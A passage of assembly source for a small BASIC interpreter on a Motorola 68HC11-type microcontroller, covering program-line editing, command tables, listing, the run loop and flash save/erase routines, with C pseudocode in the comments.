set the 1st (only) argument type to NUM ; dofunct(token,1,type); go do the function ; return(NUM); return the function type ;} ; XEEP equ * ; PROGRAM A WORD OF EEPROM. ldx TBUFPTR ; COMPENSATE FOR TOKEN PLACEMENT BU UNUMFUN dex ; ROUTINE. stx TBUFPTR ; SAVE POINTER. lda ,x ; GET TOKEN FROM BUFFER. bsr UNUMFUN ; GO TREAT AS A UNIARY NUMERIC FUNCTION. jmp ASIGNMT1 ; GO USE ASSIGNMENT CODE FOR REST OF FUNCTION. UNUMFUN pshy ldb #NUM pshb ldb #1 tsy bsr DOFUNCT ; lda #NUM pula puly rts ;***** dofunct() *****/ ; ;dofunct(functok,nargs,type) ;short functok,nargs,*type; ;{ ; *tbufptr++=functok; put function token in buffer ; if(*ibufptr!='(') { errcode=ILFSYERR; return; } ; *tbufptr++=OPARNTOK; put open paren in token buffer ; ++ibufptr; DOFUNCT jsr PUTTOK jsr GETCHR cmpa #'(' beq DOFUNCT1 DOFUNCT5 lda #MPARNERR jmp RPTERR DOFUNCT1 jsr INCIBP lda #OPARNTOK jsr PUTTOK ; while(1) ; { ; xexpres(*type++); get the argument/expression ; if(errcode) return; return if error ; if(--nargs==0) break; if we have all the arguments, quit ; if(*ibufptr!=',') if delimiter not present, return ; { errcode=ILFSYERR; return; } ; *tbufptr++=COMMATOK; if it is, put it in the token buffer ; ++ibufptr; point to the next character ; } DOFUNCT4 lda ,y iny pshb jsr XEXPRES pulb decb beq DOFUNCT3 jsr CHKCOMA bcc DOFUNCT5 bra DOFUNCT4 ; if(*ibufptr!=')') must see closing paren ; { ; errcode=ILFSYERR; if not, error ; return; ; } ; else saw closing paren ; { ; *tbufptr++=CPARNTOK; put it in the token buffer ; ++ibufptr; advance input buffer pointer ; } ; return; ;} DOFUNCT3 jsr GETCHR cmpa #')' bne DOFUNCT5 jsr INCIBP lda #CPARNTOK jmp PUTTOK ; PUT TOKEN IN BUFFER & RETURN. FINDPORT jsr GETNXCHR ; GO GET PORT "NUMBER". jsr ToUpper ; Translate the character to upper case. cmpa #'A' ; IS IT AN A OR HIGHER? bhs FINDPRT1 ; YES. GO CHECK UPPER LIMIT. FINDPRT2 lda #ILPRTERR ; NO. ILLEGAL PORT "NUMBER". jmp RPTERR ; REPORT ERROR. FINDPRT1 cmpa #'E' ; IS IT HIGHER THAN AN "E"? bhi FINDPRT2 ; YES. ILLEGAL PORT. suba #'A' ; SUBTRACT "BASE" PORT OF A adda #FPRTATOK ; ADD IN "BASE" TOKEN. ; STEAL SOME CODE. XPACCF equ * XTIMEF jsr PUTTOK ; PUT TOKEN IN BUFFER. lda #NUM ; RETURN TYPE "NUM". rts ; RETURN. ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ; #Include LEDITOR.ASM ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***** storlin() *****/ ; ;storlin() ;{ ; int *numptr,*linum; ; numptr=tknbuf; get int pointer into token buffer ; if(*numptr>hiline) line # larger than current hi line*/ ; { ; apendlin(); append it to the end of the buffer ; hiline=*numptr; make it the current hi line number ; return; ; } STORLIN lda #1 ; set the continue flag. sta CONTFLAG ; we don't allow continues if the program has been altered. ldx TKNBUFS ; point to the start of the token buffer ldd ,x ; get the first 2 bytes of the token buffer (the line number). cmpd HILINE ; was the entered lines number higher than the highest so far? bls STORLIN1 ; no. go do an insert or replace operation. jsr APENDLIN ; yes. just append the line to the end of the program buffer. ldx TKNBUFS ; point to the start of the token buffer ldd ,x ; get the first 2 bytes of the token buffer (the line number). std HILINE rts ; return. ; linum=findline(*numptr); look for line # in the program buffer ; if(*linum==*numptr) is it the same line #? ; { ; repline(linum); yes. replace it with the new line ; return; ; } ; insrtlin(linum); no. insert the new line in the buffer ; return; ;} STORLIN1 bsr FINDLINE ldd ,x pshx ldx TKNBUFS cmpd ,x pulx bne INSRTLIN jmp REPLINE ; /***** delline() *****/ ;delline(num) delete line from basic buffer ;int num; ;{ ; int *linum; ; char *ptr; ; if(num > hiline) return; line number can't be there, return ; linum=findline(num); look for the requested line # DELLINE pshd ; SAVE THE LINE NUMBER TO DELETE. tsy ; POINT TO THE LINE NUMBER WE SAVED. cmpd HILINE ; IS IT HIGHER THAN THE HIGHEST LINE ENTERED SO FAR? bls DELLINE1 ; NO. GO SEE IF THE LINE EXISTS. DELLINE2 lda #1 ; YES. THE LINE CANNOT EXIST. sta CONTFLAG puld ; PULL THE LINE NUMBER OFF THE STACK. rts ; RETURN. DELLINE1 bsr FINDLINE ; GO SEE IF THE LINE EXISTS. ; RETURN A POINTER TO A LINE NUMBER IN THE BASIC PROGRAM BUFFER. ; if(*linum!=num) return; if the line # doesn't exist, return ; ptr=linum; make the int pointer a char pointer ; closespc(ptr[2],ptr); go delete the line ; if(num==hiline) hiline=findhiln(); ; return; ;} ldd ,x ; GET THE LINE NUMBER THAT WAS FOUND. cmpd ,y ; WAS THE LINE NUMBER FOUND THE ONE THAT WAS REQUESTED TO BE DELETED. bne DELLINE2 ; NO. THE LINE DOESN'T EXIST. JUST RETURN. ldb 2,X ; YES. GET THE LENGTH OF THE LINE. bsr CLOSESPC ; GO CLOSE THE SPACE IN THE PROGRAM BUFFER. ldd HILINE ; GET THE HIGHEST LINE NUMBER ENTERED. cmpd ,y ; DID WE DELETE THE HIGHEST LINE NUMBER? bne DELLINE2 ; NO. JUST RETURN. bsr FINDHILN ; YES. GO FIND THE HIGHEST LINE NUMBER. std HILINE ; SAVE IT. bra DELLINE2 ; RETURN. ;***** closespc() *****/ close up space in the BASIC buffer ; ;closespc(bytes,ptr) ;char bytes,*ptr; ;{ ; char *to,*from; define the from/to pointers ; to=ptr; set up destination pointer ; from=ptr+bytes; setup source pointer ; while(from<basend) while we're not at the end of the buff ; { *to++=*from++; } move source to destination ; basend=to; set new basend pointer ; return; ;} CLOSESPC equ * ; ENTERED WITH pshy ; SAVE THE CURRENT VALUE OF Y. pshx ; TRANSFER X TO Y BY... PUSHING X AND THEN puly ; PULLING Y. aby ; ADD THE LENGTH TO Y. CLOSESP1 cpy BASEND ; HAVE WE MOVED ALL THE BYTES? bhs CLOSESP2 ; YES. RETURN. lda ,y ; NO. GET A BYTE. sta ,x ; MOVE IT. inx ; ADVANCE THE DESTINATION POINTER. iny ; ADVANCE THE SOURCE POINTER. bra CLOSESP1 ; GO CHECK TO SEE IF WE'RE DONE. CLOSESP2 stx BASEND ; SAVE THE NEW 'END OF BASIC PROGRAM' POINTER. jsr MOVEVARSDN ; MOVE ALL THE VARIABLES DOWN. puly ; RESTORE Y. rts ; RETURN. ;***** findline() *****/ return pointer to line number or next ; highest line number ;findline(linenum) ;int linenum; ;{ ; char *linelen; ; int *basbufp; ; basbufp=basbeg; set pointer to start of basic buffer ; while(*basbufp<linenum) do until we find line # or one higher ; { ; linelen=basbufp; convert int pointer to char pointer ; basbufp=linelen+linelen[2]; convert char ptr back to int pointer ; } ; return(basbufp); return the pointer ;} FINDLINE ldx BASBEG FINDLIN1 cmpd ,x bls :AnRTS pshb ldb 2,X abx pulb bra FINDLIN1 ;***** findhiln() *****/ ; ;findhiln() find highest line number in basic buffer **/*{ ; int *iptr,lnum; ; char *cptr; ; lnum=0; set line # to 0 ; iptr=basbeg; set int pointer to basbeg ; while(iptr!=basend) we're not to the end of the basic buff ; { ; lnum=*iptr; get current line # ; cptr=iptr; convert int pointer to char pointer ; iptr=cptr+cptr[2]; add line length, point to next line ; } ; return(lnum); return highest line number ;} FINDHILN ldx BASBEG FINDHIL1 cpx BASEND beq :AnRTS ldd ,x pshb ldb 2,X abx pulb bra FINDHIL1 ;***** insrtlin() *****/ ; ;insrtlin(ptr) ;char *ptr; ;{ ; openspc(tknbuf[2],ptr); go open space in the program bufer ; if(errcode) return; return if out of memory ; putline(ptr); put line into buffer ; return; ;} INSRTLIN pshx ldx TKNBUFS ldb 2,X pulx pshx bsr OPENSPC pulx bra PUTLINE ;***** openspc() *****/ open space in program buffer ; ;openspc(bytes,ptr) ;char bytes,*ptr; ;{ ; char *to,*from; declare to/from pointers ; from=basend; set source at end of buffer ; to=basend+bytes; set destination "bytes" beyond source ; if(to>basmend) if out of memory, return an error ; { errcode=OMEMERR; return; } ; basend=to; set new end of buffer ; while(from>=ptr) ; { *to--=*from--; } open up area in buffer ; return; ;} ; OPENSPC pshy pshx ldx VAREND abx cpx BASMEND bhi OPENSPC4 jsr MOVEVARSUP ldx BASEND pshx abx pshx tsy ldd ,y OPENSPC1 std BASEND OPENSPC3 ldd 2,Y cmpd 4,Y blo OPENSPC2 ldx 2,Y lda ,x dex stx 2,Y ldx ,y sta ,x dex stx ,y bra OPENSPC3 OPENSPC4 lda #OMEMERR jmp RPTERR OPENSPC2 pulx:3 puly rts ;***** putline() *****/ move line from token buffer to program ; buffer ;putline(cptr) ;char *cptr; ;{ ; short count; ; count=tknbuf[2]; get length of line in token buffer ; tbufptr=tknbuf; point to start of token buffer ; while(count) ; { ; *cptr++=*tbufptr++; move a byte ; --count; decrement the byte count ; } ; return; ;} PUTLINE pshx ldx TKNBUFS ldb 2,X pulx ldy TKNBUFS PUTLINE1 lda ,y iny sta ,x inx decb bne PUTLINE1 rts ;***** apendlin() *****/ appent line to end of program buffer ; ;apendlin() ;{ ; if((basend+tknbuf[2])<=basmend) do we have enough memory left? ; { ; putline(basend); move the line ; basend+=tknbuf[2]; set the new end of basic pointer ; } ; else errcode=OMEMERR; not enough memory, error ; return; ;} APENDLIN ldx TKNBUFS ldb 2,X ldx VAREND abx cpx BASMEND bhi APENDLN1 ; ldb TKNBUF+2 bsr MOVEVARSUP ldx BASEND abx xgdx ldx BASEND std BASEND bra PUTLINE APENDLN1 lda #OMEMERR jmp RPTERR ;***** repline() *****/ replace line in buffer ; ;repline(ptr) ;char *ptr; ;{ ; short lendif,temp1,temp2; ; temp1=*(ptr+2); convert type from char to int ; temp2=(tknbuf[2]); ; lendif=temp1-temp2; get the difference in line length ; if(lendif==0) if the same, just write over the old ; { ; putline(ptr); ; } REPLINE ldb 2,X pshx ldx TKNBUFS subb 2,X pulx bne REPLINE1 bra PUTLINE ; else if(lendif<0) if line in tknbuf is larger ; { ; lendif=-lendif; make it a positive number ; openspc(lendif,ptr); tru to open up a space ; if(errcode) return; if not enough memory, return ; putline(ptr); if ok, copy line to program buffer ; } REPLINE1 bpl REPLINE2 negb pshx jsr OPENSPC pulx bra PUTLINE ; else if line in tknbuf is smaller ; { ; closespc(lendif,ptr); close up excess space ; putline(ptr); put new line in program buffer ; } ; return; ;} REPLINE2 pshx jsr CLOSESPC pulx bra PUTLINE MOVEVARSUP pshy ; SAVE THE Y REGISTER. pshb ; SAVE THE BYTE COUNT. ldx VAREND ; POINT TO THE END OF THE VARIABLE MEMORY SPACE. ldy VAREND ; POINT TO THE END OF VARIABLE MEMORY SPACE. abx ; ADD THE NUMBER OF BYTES TO MOVE TO THE POINTER. ldd VAREND ; GET THE CURRENT VARIABLE TABLE ENDING ADDRESS. stx VAREND ; SAVE THE NEW END OF VARIABLE TABLE POINTER. subd VARBEGIN ; CALCULATE THE NUMBER OF BYTES TO MOVE. beq MOVEUP2 ; JUST RETURN IF THERE IS NOTHING TO MOVE. std VarSize ; save the size of the variable table (9/12/89). MOVEUP1 lda ,y ; GET A BYTE. sta ,x ; MOVE IT. dex dey bsr DecCount ; DECREMENT THE BYTE COUNT. ARE WE DONE? (9/12/89). bpl MOVEUP1 ; GO TILL WE'RE DONE. inx ; ADJUST THE POINTER MOVEUP2 stx VARBEGIN ; SAVE THE NEW START OF VARIABLE TABLE POINTER. pulb ; RESTORE THE BYTE COUNT. puly ; RESTORE Y. rts ; RETURN. MOVEVARSDN pshy ; SAVE Y. pshb ; SAVE THE BYTE COUNT. ldy VARBEGIN ; POINT TO THE CURRENT START OF THE VARIABLE TABLE. lda #$FF ; MAKE THE BYTE COUNT NEGATIVE SO WE CAN JUST ADD. negb addd VARBEGIN ; CALCULATE THE NEW START OF THE VARIABLE TABLE. xgdx ; PUT THE NEW STARTING ADDRESS OF THE VARIABLE TABLE INTO X. ldd VAREND ; GET THE OLD TABLE ENDING ADDRESS. subd VARBEGIN ; SUBTRACT THE OLD TABLE STARTING ADDRESS TO GET THE SIZE OF THE TABLE. stx VARBEGIN ; SAVE THE POINTER TO THE NEW START OF THE VARIABLE TABLE. std VarSize ; save the size of the variable table (9/12/89). beq MOVEDN2 ; IF THE SIZE IS 0 (NO VARIABLES ALLOCATED) EXIT. MOVEDN1 lda ,y ; GET A BYTE. sta ,x ; MOVE IT. inx ; MOVE THE DESTINATION POINTER. iny ; MOVE THE SOURCE POINTER. bsr DecCount ; DECREMENT THE BYTE COUNT. ARE WE DONE? (9/12/89). bpl MOVEDN1 ; NO. KEEP MOVIN' THEM BYTES. dex MOVEDN2 stx VAREND ; SAVE THE NEW POINTER TO THE END OF THE VARIABLE TABLE. pulb ; RESTORE THE BYTE COUNT. puly ; RESTORE Y. rts ; RETURN. DecCount ldd VarSize ; get the size of the variable table. subd #1 ; decrement it. std VarSize ; save the new value. rts ; return. ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ; #Include COMMAND1.ASM ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***** chckcmds() *****/ ; ;chckcmds() ;{ ; if(match("LIST")) clist(); ; else if(match("RUN")) crun(); ; else if(match("NEW")) cnew(); ; else if(match("CONT")) ccont(); ; else if(match("CLEAR")) cclear(); ; else if(match("HELP")) chelp(); ; else if(match("FERASE")) cflerr(); ; else return(0); ; return(1); ;} CHCKCMDS jsr GETCHR ; GET FIRST CHAR FROM THE INPUT BUFFER. cmpa #EOL ; IS IT AN EOL? bne CHKCMDS1 ; NO. GO CHECK FOR COMMANDS. CHKCMDS5 clrd ; YES. JUST RETURN. rts CHKCMDS1 ldx #CMDTBL ; POINT TO COMMAND TABLE. CHKCMDS2 jsr STREQ ; GO CHECK FOR A COMMAND. bcs CHKCMDS3 ; IF WE FOUND ONE GO EXECUTE IT. CHKCMDS4 inx ; ADVANCE POINTER TO NEXT CHAR IN TABLE ENTRY. lda ,x ; GET THE CHAR. ARE WE AT THE END OF THIS ENTRY? bne CHKCMDS4 ; NO. KEEP GOING TILL WE ARE PAST IT. inx:3 ; BYPASS END OF COMMAND MARKER & EXECUTION ADDR. tst ,x ; ARE WE AT THE END OF THE TABLE? bne CHKCMDS2 ; NO. GO CHECK THE NEXT TABLE ENTRY. bra CHKCMDS5 ; YES. RETURN W/ ENTRY NOT FOUND INDICATION. CHKCMDS3 ldx 1,X ; GET ADDRESS OF COMMAND. jsr ,x ; GO DO IT. ldd #1 ; SHOW WE EXECUTED A COMMAND. rts ; RETURN. ? macro mdef 2,C~1~ fcs \@~1~\@ fdb ~2~ endm CMDTBL @? LIST @? RUN @? NEW @? CONT @? CLEAR @? HELP @? FERASE,CFLERR @? ESAVE @? ELOAD @? LLIST @? AUTOST @? NOAUTO @? FREE fcb 0 ; END OF TABLE MARKER. ;***** clist() *****/ ; ;clist() ;{ ; int *intptr; ; char token; ; if(basbeg==basend) return; if basic buffer empty, return ; skipspcs(); skip any spaces after "LIST" CLIST jsr NL2 ldd BASBEG cmpd BASEND bne CLIST1 rts CLIST1 jsr SKIPSPCS ; if(numeric(getchr())) ; { ; firstlin=getlinum(); ; if(getchr()=='-') ; { ; incibp(); ; lastlin=getlinum; ; } ; } ; else ; { ; intptr=basbeg; ; lastlin=hiline; ; firstlin=*intptr; ; } ; if(firstlin<lastlin) return; ; tokptr=intptr=findline(firstlin); jsr GETCHR jsr NUMERIC bcc CLIST2 jsr GETLINUM std FIRSTLIN jsr GETCHR cmpa #'-' beq CLIST3 ldd FIRSTLIN std LASTLIN cmpd HILINE bls CLIST4 rts CLIST3 jsr INCIBP jsr GETLINUM cmpd HILINE bls CLIST13 ldd HILINE CLIST13 std LASTLIN bra CLIST4 CLIST2 cmpa #EOL beq CLIST14 rts CLIST14 ldx BASBEG ldd ,x std FIRSTLIN ldd HILINE std LASTLIN CLIST4 ldd FIRSTLIN cmpd LASTLIN bls CLIST5 rts CLIST5 ldd FIRSTLIN jsr FINDLINE stx TOKPTR ldd LASTLIN jsr FINDLINE ldd ,x cmpd LASTLIN bne CLIST12 ldb 2,X abx CLIST12 stx LASTLIN ; while(*intptr<lastlin) ; { ; intptr=tokptr; ; outdeci(*intptr); ; tokptr+=3; ; while(*tokptr!=EOLTOK) ; { ; token=gettok; ; if(token>=0x80) ; { ; lvarcon(); ; } ; else ; { ; lkeyword(); ; } ; } ; nl(); ; ++tokptr; ; } ; return; ;} CLIST6 ldd TOKPTR cmpd LASTLIN bne CLIST7 rts CLIST7 ldx TOKPTR ldd ,x inx:3 stx TOKPTR jsr OUTDECI CLIST8 ldx TOKPTR lda ,x cmpa #EOLTOK beq CLIST9 tsta bmi CLIST10 jsr LKEYWORD bra CLIST8 CLIST10 bsr LVARCON bra CLIST8 CLIST9 jsr NL ldx TOKPTR inx stx TOKPTR bra CLIST6 ;***** lvarcon() *****/ ; ;lvarcon() ;{ ; char tok; ; tok=gettok; ; if(tok<=0x88) ; { ; if(tok==FVARTOK) lfvar(); ; else if(tok==SVARTOK) lsvar(); ; else if(tok==IVARTOK) livar(); ; else { errcode=ILTOKERR; return; } ; } ; ; ; else if(tok<=0xA8) ; { ; if(tok==FCONTOK) lfcon(); ; else if(tok==SCONTOK) lscon(); ; else if(tok==LCONTOK) llcon(); ; else if(tok==ICONTOK) licon(); ; else { errcode=ILTOKERR; return; } ; } ; else { errcode=ILTOKERR; return; } ;} LVARCON ldx TOKPTR lda ,x anda #$EF ; MASK OFF ARRAY INDICATOR IF PRESENT. ldx #VCTOKTBL LVARCON1 cmpa ,x beq LVARCON2 inx:3 tst ,x bne LVARCON1 lda #ILTOKERR jmp RPTERR LVARCON2 ldx 1,X jsr ,x rts ? macro fcb ~1~ fdb ~2~ endm VCTOKTBL @? IVARTOK,LIVAR @? SCONTOK,LSCON @? LCONTOK,LLCON @? ICONTOK,LICON fcb 0 ; END OF TABLE MARKER. ;***** livar() *****/ ; ;livar() ;{ ; lfvar(); ; outbyte('%'); ; return; ;} LIVAR ldx TOKPTR inx ldd ,x addd VARBEGIN inx:2 stx TOKPTR xgdx LIVAR2 lda 1,X jsr OUTBYTE lda 2,X beq :AnRTS jsr OUTBYTE rts LFCON ldd TOKPTR addd #FSIZ+1 LFCON2 xgdx ldb ,x inx LFCON1 lda ,x jsr OUTBYTE inx decb bne LFCON1 stx TOKPTR rts ;***** licon() *****/ ; ;licon() ;{ ; int count; ; tokptr=tokptr+ISIZ+1; ; count=*tokptr++; ; while(count--) ; { ; outbyte(*tokptr++); ; } ; return; ;} LICON ldd TOKPTR addd #ISIZ+1 bra LFCON2 ;***** lscon() *****/ ; ;lscon() ;{ ; int count; ; ++tokptr; ; count=*tokptr++; ; while(count--) ; { ; outbyte(*tokptr++); ; } ; return; ;} LSCON ldd TOKPTR addd #1 bra LFCON2 ;***** llcon *****/ ; ;llcon() ;{ ; int *intptr; ; intptr=++tokptr; ; tokptr+=2; ; outdeci(*intptr); ; return; ;} LLCON ldx TOKPTR inx ldd ,x inx:2 stx TOKPTR jsr OUTDECI rts ;***** lkeyword *****/ ; ;lkeyword() ;{ ; char *charptr,token; ; token=*tokptr++ LKEYWORD ldx TOKPTR lda ,x inx stx TOKPTR cmpa #MSCNTOK beq LMSPCS cmpa #REMTOK beq LREMLINE cmpa #DATATOK beq LDATALIN cmpa #FUNCTFLG bne LKEYWRD6 ldx TOKPTR lda ,x inx stx TOKPTR ldx #LFUNCTBL bra LKEYWRD1 LKEYWRD6 ldx #TOKTBL LKEYWRD1 cmpa ,x beq LKEYWRD2 inx:3 tst ,x bne LKEYWRD1 lda #ILTOKERR jmp RPTERR LKEYWRD2 ldx 1,X jmp PL LMSPCS ldx TOKPTR ldb ,x inx stx TOKPTR lda #$20 LMSPCS1 jsr OUTBYTE decb bne LMSPCS1 rts LDATALIN ldx #DATA jsr PL bra LREM3 LREMLINE ldx #REM jsr PL LREM3 ldx TOKPTR inx ; PUT POINTER PAST LENGTH BYTE. LREM1 lda ,x cmpa #EOL bne LREM2 inx stx TOKPTR rts LREM2 jsr OUTBYTE inx bra LREM1 ? macro mdef 2,~1~TOK fcb ~2~ fdb ~1~ endm TOKTBL @? LET @? READ @? RESTORE,RESTRTOK @? GOSUB @? GOTO @? ON @? RETURN,RETNTOK @? IIF,IFTOK @? THENS,THENTOK @? ELSES,ELSETOK @? INPUT @? PRINT @? FOR @? NEXT @? STOPSS,STOPTOK @? ENDS,ENDTOK @? TRON @? TROFF @? WHILE @? ENDWH @? STEP @? TO @? COMMAC,COMMATOK @? SEMIC,SEMITOK @? COLLINC,MEOLTOK @? IMLET @? POKE @? EQ,EQUALTOK @? OPARN @? CPARN @? ANDS,ANDTOK @? ORS,ORTOK @? EORS,EORTOK @? LT @? GT @? LTEQ @? GTEQ @? EQ @? NOTEQ @? PLUS @? MINUS @? MULT @? DIV @? MODS,MODTOK @? NOTS,NOTTOK @? RTIMES,RTIMETOK @? CLS @? NEGS,NEGTOK @? SPACE,SSCNTOK @? DIM @? EEP @? PORTA @? PORTB @? PORTC @? PORTD @? POUNDSGN,PNUMTOK @? INBYTES,INBYTTOK @? TIME @? ONTIME,ONTIMTOK @? ONIRQ @? RETI @? PACC @? ONPACC,ONPACTOK @? SLEEP fcb 0 ; END OF TABLE MARKER. LFUNCTBL @? FDIVS,FDIVTOK @? CHRS,CHRTOK @? ADCS,ADCTOK @? ABS @? RND @? SGN @? TABS,TABTOK @? CALL @? PEEK @? EEP,FEEPTOK @? HEX @? PORTA,FPRTATOK @? PORTB,FPRTBTOK @? PORTC,FPRTCTOK @? PORTD,FPRTDTOK @? PORTE,FPRTETOK @? TIME,FTIMETOK @? HEX2 @? PACC,FPACCTOK IMLET fcb 0 ; NO KETWORD TO PRINT FOR AN IMPLIED LET. COLLINC fcs ":" SEMIC fcs ";" COMMAC fcs "," OPARN fcs "(" CPARN fcs ")" SPACE fcs " " PORTE fcs "PORTE" POUNDSGN fcs "#" CRUN jsr NL2 ; DO 2 CR/LF SEQUENCES. jsr RUNINIT ; INITALIZE RUNTIME VARIABLES. lda #1 ; SET THE RUN MODE FLAG. sta RUNFLAG ; END OF POINTER INITIALIZATIONS ldy BASBEG ; POINT TO THE START OF THE PROGRAM. cpy BASEND ; IS THERE A PROGRAM IN MEMORY? bne CRUN5 ; YES. GO RUN IT. rts ; NO. RETURN. CRUN5 ldd ,y ; GET NUMBER OF FIRST/NEXT LINE OF BASIC PROGRAM. std CURLINE ; MAKE IT THE CURRENT LINE. tst TRFLAG ; IS THE TRACE MODE TURNED ON? beq CRUN6 ; NO. CONTINUE. lda #'[' ; YES. PRINT THE CURRENT LINE. jsr OUTBYTE ldd CURLINE jsr OUTDECI lda #']' jsr OUTBYTE jsr NL CRUN6 pshy ; SAVE POINTER TO START OF NEW LINE. ldb 2,Y ; GET LENGTH OF LINE. aby ; POINT TO START OF NEXT LINE. sty ADRNXLIN ; SAVE THE ADDRESS OF THE NEXT LINE. puly ldb #3 ; BYTE COUNT OF LINE NUMBER & LENGTH. aby ; POINT TO THE FIRST TOKEN. CRUN4 bsr RSKIPSPC ; SKIP SPACES IF PRESENT. ldb ,y ; GET KEYWORD TOKEN. iny ; POINT PAST THE KEYWORD. bsr RSKIPSPC ; SKIP SPACES AFTER KEYWORD. decb ; SUBTRACT ONE FOR INDEXING. lslb ; MULTIPLY BY THE # OF BYTES PER ADDRESS. ldx #RKEYWORD ; POINT TO RUN TIME ADDRESS TABLE. abx ; POINT TO ADDRESS ldx ,x ; POINT TO RUNTIME ROUTINE. jsr ,x ; GO DO IT. CRUN2 dec BREAKCNT ; SHOULD WE CHECK FOR A BREAK YET? bne CRUN7 ; NO. CONTINUE. jsr CHCKBRK ; CHECK FOR BREAK FROM CONSOLE. CRUN7 bsr RSKIPSPC ; SKIP ANY SPACES. lda ,y ; GET THE NEXT TOKEN IN THE LINE. cmpa #EOLTOK ; ARE WE AT THE END OF THE LINE? bne CRUN3 iny ; YES. POINT TO START OF THE NEXT LINE. CRUN1 cpy BASEND ; HAVE WE REACHED THE END OF THE BASIC PROGRAM? bne CRUN5 ; NO. GO EXECUTE THE NEXT LINE. jmp REND ; GO DO AN "END". CRUN3 iny ; MUST BE A MID EOL. bra CRUN4 ; GO DO NEXT KEYWORD. RSKIPSPC lda ,y ; GET A CHARACTER. bmi :AnRTS cmpa #SSCNTOK ; IS IT A SINGLE SPACE? beq RSKIP1 ; YES. BUMP IP BY 1. blo :AnRTS iny ; BUMP IP BY 2 FOR MULTIPLE SPACES. RSKIP1 iny ; BUMP IP. rts ; RETURN. RKEYWORD fdb RLET fdb RLET fdb RPRINT fdb RFOR fdb RNEXT fdb RTRON fdb RTROFF fdb RPOKE fdb RDIM fdb RREM fdb RPACC fdb RDATA fdb RREAD fdb RRESTOR fdb RGOSUB fdb 0 fdb 0 fdb RGOTO fdb RON fdb RRETURN fdb RIF fdb RINPUT fdb RSTOP fdb REND fdb RWHILE fdb RENDWH fdb REEP fdb RPORTA fdb RPORTB fdb RPORTC fdb RPORTD fdb 0 fdb 0 fdb 0 fdb RINBYTE fdb RTIME fdb RONTIME fdb RONIRQ fdb RRETI fdb RONPACC fdb RSLEEP fdb RRTIME fdb RCLS RUNLINE jsr NL2 ldy TKNBUFS ; POINT TO THE TOKEN BUFFER. ldd ,y ; GET CURRENT LINE NUMBER. std CURLINE ; MAKE "0" THE CURRENT LINE #. ldb #3 ; POINT PAST THE LINE NUMBER & LENGTH. aby RUNLINE2 bsr RSKIPSPC ; SKIP SPACES. ldb ,y ; GET KEYWORD. iny ; POINT PAST KEYWORD. bsr RSKIPSPC ; SKIP SPACES. decb ; SUBTRACT ONE FOR INDEXING. lslb ; MULT BY THE # OF BYTES/ADDRESS. ldx #RKEYWORD ; POINT TO ADDRESS TABLE. abx ; POINT TO ADDRESS OF RUN TIME ROUTINE. ldx ,x ; GET ADDRESS. jsr ,x ; GO DO IT. jsr RSKIPSPC ; SKIP SPACES. lda ,y cmpa #EOLTOK ; ARE WE AT THE END OF THE LINE? bne RUNLINE1 rts RUNLINE1 iny ; MUST BE A MID EOL. bra RUNLINE2 CHCKBRK lda #10 ; RELOAD THE BREAK CHECK COUNT. sta BREAKCNT jsr CONSTAT ; GET CONSOLE STATUS. CHARACTER TYPED? bne CHCKBRK1 ; YES. GO CHECK IT OUT. rts ; NO. RETURN. CHCKBRK1 jsr INCONNE ; GET BYTE FROM CONSOLE BUT DON'T ECHO. cmpa #$03 ; WAS IT A CONTROL-C? beq CHCKBRK2 ; YES. GO DO A BREAK. rts ; NO. RETURN. CHCKBRK2 sty IPSAVE ; SAVE THE IP POINTER IN CASE OF A CONTINUE. jsr NL ldx #BREAKS ; POINT TO BREAK STRING. jsr PL ldd CURLINE jsr OUTDECI jsr NL jmp MAINW RUNINIT bsr CCLEAR ; GO CLEAR ALL VARIABLE STORAGE. RUNINIT1 ldx STNUMS ; GET START OF NUMERIC OPERAND STACK. stx NUMSTACK ; INITALIZE THE OPERAND STACK POINTER. ldx STOPS ; GET THE START OF THE OPERATOR STACK. stx OPSTACK ; INITALIZE THE OPREATOR STACK POINTER. ldx STFORSTK ; GET THE START OF THE FOR-NEXT STACK. stx FORSTACK ; INITALIZE THE FOR NEXT STACK POINTER. ldx STWHSTK ; GET THE START OF THE WHILE STACK. stx WHSTACK ; INITALIZE THE WHILE STACK POINTER. ldx STGOSTK ; GET THE START OF THE GOSUB STACK. stx GOSTACK ; SET THE START OF THE GOSUB STACK. ldx VAREND ; GET THE VARIABLE END POINTER. inx ; POINT TO THE NEXT AVAILABLE BYTE. stx STRASTG ; INITALIZE THE STRING/ARRAY STORAGE POINTER. clr PRINTPOS ; SET THE CURRENT PRINT POSITION TO 0. lda #10 ; SET COUNT FOR BREAK CHECK. sta BREAKCNT clr CONTFLAG ; CLEAR THE CONTINUE FLAG. ldx #0 ; CLEAR THE DATA POINTER. stx DATAPTR rts CCONT jsr NL2 tst CONTFLAG bne CCONT1 ldy IPSAVE jmp CRUN7 CCONT1 lda #CNTCNERR sta ERRCODE jmp RPTERR5 CNEW ldx #PSSTART lda ASFLAG ; GET THE AUTO START FLAG. cmpa #$55 ; IS IT SET? bne CNEW1 ; NO. GO INITIALIZE EVERYTHING. lda #$AA ; YES. RESET (ERASE) IT. ldy #ASFLAG ; autostart flag address jsr WRITE ; erase auto-start flag CNEW1 jsr INITVARS ; INITIALIZE EVERYTHING. rts ; RETURN. CCLEAR bsr RUNINIT1 ; GO INITALIZE ALL STACKS ETC. CCLEAR3 ldx VARBEGIN CCLEAR1 lda ,x beq CCLEAR2 inx:3 jsr CLRVAR bra CCLEAR1 CCLEAR2 ldx VAREND inx stx STRASTG rts ;************ ; display help screen CHELP ldx #CHELP_SCN jmp PL ;************ ; erase Flash program memory CFLERR psha jsr FL_RAM ; check/copy to RAM sei ; disable interrupts clra ; first sector of bank 0 jsr FL_BE-FLRC_SA+FL2RAM ; erase sector now cli ; re-enable interrupts pula rts ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ; #Include COMMAND2.Asm ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;*********** ; save basic program to FLASH ; check to see if there is a program to save CESAVE ldd BASBEG ; GET POINTER TO THE START OF THE BASIC PROGRAM. cmpd BASEND ; IS THERE A PROGRAM IN MEMORY? bne CESAVE1 ; YES. GO SAVE IT. rts ; NO. RETURN. ; check to see if program will fit in available program storage FLASH CESAVE1 ldd VAREND ; end of program subd BASBEG ; start of program cmpd #PSSIZE bls CESAVE5 ; yes, save it lda #EETOSMAL ; no, report 